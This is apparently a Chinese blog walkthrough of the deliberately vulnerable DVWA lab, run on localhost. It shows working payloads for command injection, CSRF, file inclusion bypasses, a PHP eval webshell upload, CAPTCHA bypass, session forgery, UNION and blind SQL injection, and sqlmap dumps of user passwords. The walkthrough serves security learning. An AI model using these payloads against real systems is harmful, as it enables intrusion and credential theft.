包含了 OWASP TOP10 的所有攻击漏洞的练习环境,一站式解决所有 Web 渗透的学习环境;
win+R
执行 services.msc
进入服务,查找到MySQL,点击停止服务,然后在控制台cmd进入本地安装MySQL的文件夹,我的文件名是D:\mysql-8.0.30-winx64\mysql-8.0.30-winx64\bin
,进入后执行命令sc delete mysql
来删除服务,发现无法删除,原因是要用管理员身份进行该操作才可以。 $_DVWA[ 'db_password' ] = 'P@ssw0rd';
修改为 $_DVWA[ 'db_password' ] = 'root';
,(这里修改的是 MySQL 的管理员密码,该密码默认是 root,如果修改过 MySQL 密码,这里需要改成你自己的密码)之后保持PHPStudy开启状态,在浏览器中输入http://127.0.0.1/DVWA,进入安装配置页面:点击左侧Setup / Retset DB
解决图中报错问题:
1)没有开启PHP url_include模块
在D:\phpstudy_pro\Extensions\php\php7.3.4nts
路径中找到php.ini中的allow_url_include为On,如下图所示。然后保存,重启PHPstudy,错误得到解决。 2)缺少了验证码的key
编辑 dvwa/config/config.inc.php这个配置文件,找到以下代码把key填上就行了。
$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';
点击最下面的那个Create/Reset Database
按钮创建数据库,如果创建成功则表示如下结果:
- 创建成功后,可成功登陆,跳过登陆界面(登陆界面网址:http://127.0.0.1/dvwa/login.php,如果Burpsuite不能截取到127的流量,可以将登陆网址改为:http://本地主机IP地址/dvwa/login.php
),默认登陆默认用户名为admin
,密码为password
。
DVWA\dvwa\includes
目录下找到dvwaPage.inc.php
文件中所有的”charset=utf-8”
,修改为”charset=gb2312”
,即可解决乱码问题。DVWA Security->Low->Submit
Brute Force
,输入用户名和密码分别为123456,显示验证错误;Proxy->HTTP history
,抓到包后,点击鼠标右键send ro intruder
DVWA Security->High->Submit
High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度。
CSRF(Cross-site request forgery),中文名称:跨站请求伪造。攻击者盗用你的身份,以你的名义发送恶意请求。
Token抵御CSRF攻击原理:
1)将CSRF Token输出到页面中:
首先,用户打开页面的时候,服务器需要给这个用户生成一个Token,该Token通过加密算法对数据进行加密,一般Token都包括随机字符串和时间戳的组合,显然在提交时Token不能再放在Cookie中了,否则又会被攻击者冒用。因此,为了安全起见Token最好还是存在服务器的Session中,之后在每次页面加载时,使用JS遍历整个DOM树,对于DOM中所有的a和form标签后加入Token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的HTML代码,这种方法就没有作用,还需要程序员在编码时手动添加Token。
2)页面提交的请求携带这个Token:
对于GET请求,Token将附在请求地址之后,这样URL 就变成 http://url?csrftoken=tokenvalue
。 而对于 POST 请求来说,要在 form 的最后加上:
这样,就把Token以参数的形式加入请求了。
3)服务器验证Token是否正确:
当用户从客户端得到了Token,再次提交给服务器的时候,服务器需要判断Token的有效性,验证过程是先解密Token,对比加密字符串以及时间戳,如果加密字符串一致且时间未过期,那么这个Token就是有效的。
采用同样的方式,点击Brute Force
,输入用户名和密码分别为123456,显示验证错误;通过抓包发现,登录验证时提交了四个参数:username、password、Login以及user_token。
发现在High级别中,请求参数多了一个token参数,将抓到的包发送到Intruder,选择攻击模式为pitchfock,并且给要破解的项带上$符号;
设置参数,设置resource pool为1,因为为了Token抵御CSRF攻击,页面提交的请求携带服务端回传的Token值,所以不能并行,只能采用单线程;
1、点击refetch response 2、搜索token 3、输入value='
4、选中 5、点击ok,复制选中的token值,如下图进行设置;
a && b :
先执行命令a再执行命令b,命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。所以又被称为短路运算符。a & b:
先执行命令a再执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰。a || b:
先执行a命令再执行b命令,如果a命令执行成功,就不会执行b命令,相反,如果a命令执行不成功,就会执行b命令。a | b:
代表首先执行a命令,再执行b命令,不管a命令成功与否,都会去执行b命令。DVWA\dvwa\includes
目录下找到dvwaPage.inc.php
文件中所有的”charset=utf-8”
,修改为”charset=gb2312”
,即可解决乱码问题。stristr() 函数搜索字符串在另一字符串中的第一次出现,不区分大小写
php_uname() 返回了运行 PHP 的操作系统的描述。
参数:
'a':此为默认。
's':操作系统名称。
'n':主机名。
'r':版本名称。
'v':版本信息。
'm':机器类型。
127.0.0.1&&echo “Hello”
127.0.0.1&&ipconfig
可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,过滤了&&、;,但是没有过滤掉&、|,所以依旧有漏洞。
|+空格
多出一个空格,所以不会过滤|
那就利用这个漏洞进行命令执行;127.0.0.1 |net user
(|和net之间无空格)
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "{$cmd}
";
}
else {
// Ops. Let the user name theres a mistake
$html .= 'ERROR: You have entered an invalid IP.
';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
stripslashes(string)
#stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
explode(separator,string,limit)
#explode()函数把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目
is_numeric(string)
#is_numeric()函数检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=1234&Change=Change#
为修改密码的链接;http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
,可以看到密码成功修改了。http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
,会提示报错,提示http Referer字段没有定义索引。http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
,用burpsuite进行抓包,此时密码修改不成功的。127.0.0.1
即可,重新发送请求,发现密码可以修改成功。include()
, require()
, require_once()
和include_once()
,被包含的文件内容会被当做代码来执行;即把重复使用的一段代码,单独写到一个文件里,再用文件包含函数来包含这个文件;include()
:当被包含的文件不存在时,会报错(Error),后面的代码不被执行; include_once()
:只包含一次,包含过的文件不会被重复包含; require()
:当被包含的文件不存在时,会告警(Wrainng),后面的代码可以继续执行;require_once()
:只包含一次,包含过的文件不会被重复包含。
// The page we wish to display
$file = $_GET[ 'page' ];
?>
首先查看源码发现没有任何过滤。可以看出服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确实为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
成功输出hello.txt文件内容,只有php文件会解析运行。其他的只会原封不动的输出出来。
漏洞利用:
1)新建木马文件并上传,进入文件上传File Upload,进行上传:
2)上传,并复制路径:3)复制链接../../hackable/uploads/h.php
到文件包含,发现未报错,文件解析成功:
4)根据路径到dvwa的文件包括目录,发现在新建木马路径中生成了shell.php文件:
5)打开蚁剑鼠标右键添加数据
,地址为shell.php
的地址,即http://127.0.0.1/dvwa/vulnerabilities/fi/shell.php
,密码就是我们木马post里面写的的密码pass,直接连接:
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
str_replace
函数对http://
和 https://
进行了过滤,防止了远程包含漏洞的产生。但是使用 str_replace
函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx
时,str_replace
函数只会过滤一个 http://
,所以最终还是会包含到 http://xx
:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/dvwa/phpinfo.php
,代码将http://
替换为空之后,page=
后剩余http://127.0.0.1/dvwa/phpinfo.php
,仍可以返回数据,结果如下:
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\test.txt
,结果如下:
@eval($_POST['hack'])
?>
http://10.15.1.111/dvwa/vulnerabilities/upload/#
与上传成功显示的路径../../hackable/uploads/hk.php
进行拼接,去掉#
号变为http://10.15.1.111/dvwa/vulnerabilities/upload/../../hackable/uploads/hk.php
,然后在浏览器中打开此URLhttp://10.15.1.111/dvwa/vulnerabilities/upload/../../hackable/uploads/hk.php
,打开后URL会变为http://10.15.1.111/dvwa/hackable/uploads/hk.ph
,将此URL填写到蚁剑的URL中;Your image was not uploaded. We can only accept JPEG or PNG images.
可以看到,对上传的文件做出了要求,必须是jpg和png解决方法抓包修改文件类型即可。
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= 'Your image was not uploaded.
';
}
else {
// Yes!
$html .= "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
$html .= 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
small.jpg
和一句话木马文件high_hk.php
;然后将木马植入图片中,在图片和木马文件所在的目录进行CMD命令行:copy small.jpg/b+high_hk.php/a new_hk.jpg
,Linux系统木马植入执行语句:cat high_hk.php >> new_hk.jpg
@eval($_POST['hack'])
?>
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
$html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
\" />
{$pass_conf}\" />
";
}
else {
// Both new passwords do not match.
$html .= "Both passwords must match.
";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the end user
$html .= "Password Changed."; } else { // Issue with the passwords matching $html .= "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Send to Repeater
,将step改为2,点击Send
,显示修改成功。
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
$html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
\" />
{$pass_conf}\" />
";
}
else {
// Both new passwords do not match.
$html .= "Both passwords must match.
";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "
You have not passed the CAPTCHA.
";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the end user
$html .= "Password Changed."; } else { // Issue with the passwords matching $html .= "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for user
$html .= "Password Changed."; } else { // Ops. Password mismatch $html .= "
Both passwords must match."; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "
"; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
The CAPTCHA was incorrect. Please try again.
$resp
是true
,并且参数recaptcha_response_field
等于hidd3n_valu3
(或者http包头的User-Agent
参数等于reCAPTCHA)
时,就认为验证码输入正确,反之错误。$resp
参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent
上。Send
:显示修改成功。
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
session_id
加1给客户端, setcookie("dvwaSession", $cookie_value);
就是设置session
的值;admin
用户登录,点击Generate
,采用bp进行抓包,发现每点击一次Generate
,Cookie
中dvwaSession
会自增1,第一次点击Generate
时无dvwaSession
,默认是0;复制上图中的Cookies
值;http://127.0.0.1/dvwa/vulnerabilities/weak_id/
,抓包后将Cookie
值改为上图中的Cookie
,点击Forward
,就会跳过登录,直接进入主页,如下图所示。
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
dvwaSession
的,关于时间戳转换,直接查找转换器进行转换即可。
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
High
级别时,抓包所示效果。在Repeater
中,点击Send
,在Response
中查找dvwaSession
为MD5
加密结果,进行MD5
解密:https://www.cmd5.com/dvwaSession
值设置成为MD5
加密的数字,进行页面请求,即可完成攻击。SQL注入分类
(1) 数字型
(2) 字符型
(3) 报错注入
(4) Boollean注入
(5) 时间注入
SQL注入思路
(1).判断是否存在注入,注入是字符型还是数字型
(2).猜解SQL查询语句中的字段数
(3).确定回显位置
(4).获取当前数据库
(5).获取数据库中的表
(6).获取表中的字段名
(7).得到数据
SQL注入绕过方法
(1)注释符号绕过
(2)大小写绕过
(3)内联注释绕过
(4)特殊编码绕过
(5)空格过滤绕过
(6)过滤or and xor not 绕过
SQL注入漏洞 定义:SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
SQL注入漏洞原因:
(1)SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞;
(2)web 开发人员无法保证所有的输入都已经过滤;
(3)攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中);
(4)数据库未做相应的安全配置;
SQL注入漏洞危害
(1)猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
(2)绕过认证,列如绕过验证登录网站后台。
(3)注入可以借助数据库的存储过程进行提权等操作。
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); break; case SQLITE: global $sqlite_db_connection; #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']); #$sqlite_db_connection->enableExceptions(true); $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "
First name: {$first}
Surname: {$last}
ID: {$id}"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>
First name: {$first}
Surname: {$last}
可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤,后台执行sql语句"SELECT first_name, last_name FROM users WHERE user_id = '$id';
,存在明显的SQL注入漏洞。
漏洞分析:
1)判断注入类型:
输入1
查看返回数据:
输入1'
查看返回数据,显示报错:
继续输入1' and '1' ='1
,查看返回数据:
继续输入1' and '1' ='2
,无响应,认为是报错:
根据id=1'
报错和id=1'and '1'='1
正确,我们可以确定是字符型注入
。
2)判断字段数:order by:使用order by 进行判断字段数, 直到order by 进行报错时候就可确定字段数;
输入1' order by 1#
查看返回数据:查询users
表中user_id
为1的数据并按第一字段排行;按照Mysql语法,#
后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误;
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#;
输入1' order by 2#
查看返回数据:
输入id=1' order by 3#
时报错了,说明字段只有2列:
3)判断回显位置,结合联合查询函数union select:
union
运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。
输入1' union select database(),user()#
进行查询 :
实际执行SQL语句为:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#;
database()
将会返回当前网站所使用的数据库名字.;
user()
将会返回执行当前查询的用户名;
通过上图返回信息,我们成功获取到:当前网站使用数据库为 dvwa
;当前执行查询用户名为 root@localhost
。
再输入 1' union select version(),@@version_compile_os#
进行查询:
实际执行SQL为:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#;
version()
获取当前数据库版本;@@version_compile_os
获取当前操作系统。
通过上图返回信息,我们又成功获取到:当前数据库版本为 : 5.7.26
;当前操作系统为 : win64
。
4)获取表名:
information_schema
是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tables
的数据表,该表包含两个字段 table_name
和 table_schema
,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
或1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
进行查询:
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#;
发现报错 Illegal mix of collations for operation ‘UNION’
, 解决办法: 是因为编码的问题,进一步搜索发现可以通过下载PhpMyAdmin来修改编码,具体步骤如下:phpstudy_pro
,下载phpMyadmin
:root
和root
; “utf8_general_ci”
,勾选更改所有表排序规则,执行,重启phpstudy_pro
和dvwa
;4)若还是报错,建议在dvwa
中点击Create/Reset Database
即可;1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
后,回传数据为:dvwa
数据库有两个数据表,分别是 guestbook
和 users
。5)获取字段中的信息:
猜测users
表的字段为 user
和 password
,所以输入:1' union select user,password from users #
进行查询:
实际执行的 Sql 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
1'
,请求时报错:输入id=1 order by 2#
,查看返回数据:
2)判断回显,联合查询union select:
1 union select database(),user()#
查询数据库和用户名,查看返回数据:1 union select version(),@@version_compile_os#
查询数据库版本和操作系统,查看返回数据:1 union select table_name,table_schema from information_schema.tables where table_schema= database()#
查询表名:1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查询表名:1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
users十六进制数为0x7573657273 ,查看返回数据:1 union select user,password from users
,查看数据:
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( 'Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
“here to change your ID”
,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数为1;1' union select user,password from users#
,查询返回数据:sleep(5)
条件之后,页面延时5秒以上则说明判断成立,即存在注入;
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= 'User ID exists in the database.
';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= 'User ID is MISSING from the database.
';
}
}
?>
id
没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回结果只有2种:1' and length(database())=x #
其中x
为大于等于1的整数,当显示存在时即为数据库长度,发现当x=4
是显示存在,故当前页面所使用的数据库长度为4;1' and ascii(substr(databse(),1,1))>或<字母的ascii码值#
, (ASCII码值对照表:https://blog.csdn.net/wangyuxiang946/article/details/123519952)通过比较输入字母的ascii值的显示正常与否来逐个确定库名:dvwa
,以上过程建议采用代码实现。python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --current-db
时,显示报错:python sqlmap.py --update
,完美解决,原来是版本低的原因。"http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3"
如何获得,页面输入1
,点击Submit
,进行抓包,在请求数据中获取数据:python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --current-db
时,一直输入y
,时间较长,最后显示爆出的数据库名为dvwa
;python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa --tables
,存在2张表,分别为guestbook
和users
;python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa -T users --dump --batch
,可展示所有数据及数据下载到本地的路径:
SQL Injection Source
vulnerabilities/sqli/source/medium.php
<?php
